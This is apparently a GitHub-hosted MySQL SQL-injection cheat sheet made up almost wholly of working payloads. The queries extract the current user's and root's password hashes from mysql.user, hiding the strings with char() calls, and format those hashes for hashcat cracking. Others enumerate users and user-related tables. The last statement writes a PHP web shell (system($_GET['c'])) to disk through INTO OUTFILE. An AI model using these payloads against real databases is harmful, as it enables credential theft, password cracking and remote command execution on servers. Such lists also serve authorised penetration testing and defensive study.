You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
SELECT password FROMmysql.userWHERE user=left(current_user(),locate(char(064),current_user())-1) ANDconvert(host USING UTF8)=substring(current_user(),locate(char(064),current_user())+1,255); -- Some databases still use password columnSELECT authentication_string FROMmysql.userWHERE user=left(current_user(),locate(char(064),current_user())-1) ANDconvert(host USING UTF8)=substring(current_user(),locate(char(064),current_user())+1,255);
SELECT concat(concat(char(036),char(109),char(121),char(115),char(113),char(108)),left(authentication_string,6),char(042),insert(hex(substring(authentication_string,8)),41,0,char(042))) FROMmysql.userWHERE user=left(current_user(),locate(char(064),current_user())-1) ANDconvert(host USING UTF8)=substring(current_user(),locate(char(064),current_user())+1,255); -- A current user's password hash encoded for the 7401 hashcat mode. Use this if a password hash has non-ASCII characters.
List all users:
SELECT user FROMmysql.userORDER BY1;
Get default user's password hash:
SELECT password FROMmysql.userWHERElower(user)=concat(char(114),char(111),char(111),char(116)); -- "root" user. Some databases still use password columnSELECT authentication_string FROMmysql.userWHERElower(user)=concat(char(114),char(111),char(111),char(116)); -- "root" user.SELECT concat(concat(char(036),char(109),char(121),char(115),char(113),char(108)),left(authentication_string,6),char(042),insert(hex(substring(authentication_string,8)),41,0,char(042))) FROMmysql.userWHERElower(user)=concat(char(114),char(111),char(111),char(116)); -- A root user's password hash encoded for the 7401 hashcat mode. Use this if a password hash has non-ASCII characters.
SELECT table_schema,table_name FROMinformation_schema.tablesWHERElower(table_name) LIKE concat(char(37),char(117),char(115),char(101),char(114),char(37)) ORDER BY1LIMIT1 OFFSET 0;
Saving anything to a file
Usually MySQL has permissions to write into the /var/lib/mysql folder:
select'<?php system($_GET[\'c\']); ?>' into outfile '/var/lib/mysql/cmd.php';